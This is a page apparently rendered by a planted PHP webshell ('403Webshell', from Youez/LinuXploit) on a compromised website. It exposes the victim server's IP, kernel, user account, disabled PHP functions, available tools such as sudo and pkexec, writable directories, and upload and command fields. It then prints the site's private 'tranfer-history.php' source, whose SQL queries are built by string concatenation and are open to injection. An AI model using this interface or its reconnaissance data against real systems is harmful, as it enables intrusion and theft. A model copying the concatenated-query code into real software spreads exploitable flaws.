403Webshell
Server IP : 14.241.111.210  /  Your IP : 3.14.144.35
Web Server : Apache
System : Linux localhost.localdomain 3.10.0-1160.66.1.el7.x86_64 #1 SMP Wed May 18 16:02:34 UTC 2022 x86_64
User : www ( 1001)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/checkemail.webthanhha.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/checkemail.webthanhha.com//tranfer-history.php
<?php
	error_reporting(E_ALL);
	ini_set('display_errors', 1);
	include('include/header.php');
	header('Content-Type: text/html; charset=utf-8');	
	date_default_timezone_set('Asia/Ho_Chi_Minh');
	
	if(isset($_SESSION['username']) && $_SESSION['username']){
		include('include/config_db.php');
		$conn = new mysqli($servername, $username, $password, $dbname);
		mysqli_set_charset($conn, 'UTF8');
		// Check connection
		if ($conn->connect_error) {
			die("Connection failed: " . $conn->connect_error);
		}
		
		$result = $conn->query("SELECT * FROM users WHERE username = '".$_SESSION['username']."'");	
		while($row = $result->fetch_assoc()){
			$user_id = $row['id'];
			// admin =1 (Admin); =3 (user)
			$type_user = $row['admin'];
		}
		if($type_user != 1){
			$result2 = $conn->query("SELECT * FROM tranfer_history WHERE user_id = '$user_id' ORDER BY created_at DESC");
			}else{
			$result2 = $conn->query("SELECT * FROM tranfer_history ORDER BY created_at DESC");
		}
		$i=1;
	?>
	<h1 class="text-center mb-4">TRANSACTION HISTORY</h1>
	<div class="container main">
		<div class="row">
			<div class="table-responsive py-2 px-2">
				<table id="tranfer_history_table" class="table table-bordered table-hover table-striped">
					<thead>
						<tr class="success">
							<th>#Num</th>
							<th>Amount transferred</th>
							<th>Credits</th>
							<th>Status</th>
							<?php 
								if($type_user == 1){
									echo '<th>User</th>';
									echo '<th>Updated</th>';
								}
							?>
							<th>Created</th>					
						</tr>
					</thead>
					<tbody>
						<?php while($row2 = $result2->fetch_assoc()){ ?>
							<tr>
								<td><?=$i ?></td>
								<td><?='$'.number_format($row2['amount_transferred']) ?></td>
								<td><?=number_format($row2['credits']) ?></td>
								<td><?=$row2['status'] ?></td>
								<?php if($type_user == 1){ ?>
									<td>
										<?php
											$result = $conn->query("SELECT username, email FROM users WHERE id = '".$row2['user_id']."'");
											while($row = $result->fetch_assoc()){
												echo $row['username'];
											}
										?>
									</td>
									<td><?=$row2['updated_at'] ?></td>
								<?php } ?>
								<td><?=$row2['created_at'] ?></td>
							</tr>
						<?php $i++; } ?>
					</tbody>
				</table>
				<script>
					$(document).ready(function() {
						$('#tranfer_history_table').DataTable();
					} );
				</script>
			</div>
		</div>
	</div>
	<?php
		}else{
		
		echo "<h2 style='text-align: center;'><a href='/login.php'>Login </a>/ <a href='/signup.php'>Signup </a></h2>";
		
	}
	
	include('include/footer.php');
?>	

Youez - 2016 - github.com/yon3zu
LinuXploit